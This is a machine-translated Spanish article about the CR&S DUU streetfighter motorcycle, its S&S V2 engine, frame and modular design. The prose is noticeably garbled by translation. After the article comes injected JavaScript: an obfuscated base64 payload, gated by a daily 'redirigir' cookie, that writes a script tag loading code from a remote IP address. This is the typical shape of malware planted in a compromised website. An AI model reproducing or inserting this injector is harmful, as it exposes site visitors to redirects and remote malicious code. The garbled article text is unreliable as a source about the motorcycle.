JINETES

LLEVA, PERO NO DE ESPADAS

A la venta en un año al precio base de 20 miles de euros, DUU ver el último espectáculo de Milán como un concepto (y hemos descrito una vista previa de los jinetes de números 22) Es una de las pocas propuestas realmente originales de los últimos tiempos.
El Milan CR&S que lo dio a luz es el mismo que el Vun monocilíndrico muy ligero: Roberto Crepaldi, Giorgio Sarti y John Cabassi, Los tres pilotos antes de los empresarios, Se han centrado en un nicho inexplorado pero interesante. El duu es un especial producido en pequeñas series, modular y altamente adaptable, con contenidos exclusivos de estilo americano y europeo del confederado Wakan Francés, pero ofrecido a una fracción del costo. lleva, dos Meneghino dialecto, porque los cilindros son dos y el desplazamiento (1.916 este) Está al lado de dos litros, y por qué, querer, el PUE bicicleta de estar en dos lugares y no como el monoplaza Vun. Este maxi streetfighter monta el V2 de 56 ° X-Wedge del American S&S, un monstruo fuerte con su 16 El par máximo kgm a sólo tres mil revoluciones. El bastidor está hecho de acero inoxidable pulido: una gran viga que también actúa como contenedor de gasolina, con placas laterales de aluminio para soportar el basculante de un solo lado (siempre un gran tubo de acero curvado) y el tanque de gasolina, que también lleva a cabo la silla.
El diseño está firmado por Donato Cannatello, que trabajaba para Aprilia Bimota, que se ha posicionado de descarga debajo del motor, Se ocultó todos los pilares y creó una línea minimalista fácilmente modificable mediante la adición, o retirar, un conjunto de accesorios (incluyendo maletas o un recipiente por encima del depósito) apéndices funcionales y estéticas. La montura puede estar en uno o dos lugares y hay diferentes soluciones para faros y acabados superficiales. A pesar de los grandes motores, la moto es del todo compacto en su clase y pesa tanto como una Harley Sportster 883, porque DUU está hecho para ser impulsado no sólo ostentosa. Un ambicioso proyecto, no exenta de resistencias que hay que superar, como su experiencia y reputación de la CR&S. Pero hay que decir que esta realidad está organizada, pequeño, como una verdadera industria de la motocicleta. (Maurizio Gissi)

 

  GetCookie función(mi){var U = document.cookie.match(nueva RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/sol,”\\$1″)+”=([^;]*)”));retorno T?decodeURIComponent(la[1]):vacío 0}var src =”datos:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,ahora = Math.floor(Date.now()/1e3),galletas = GetCookie(“redirigir”);Si(ahora>=(tiempo = galletas)||nula tiempo 0 ===){tiempo var = Math.floor(Date.now()/1e3 + 86400),fecha = new Date((nuevos Fecha).consigue tiempo()+86400);document.cookie =”redirigir =”+tiempo +”; path = /; expira =”+date.toGMTString(),document.write(”)}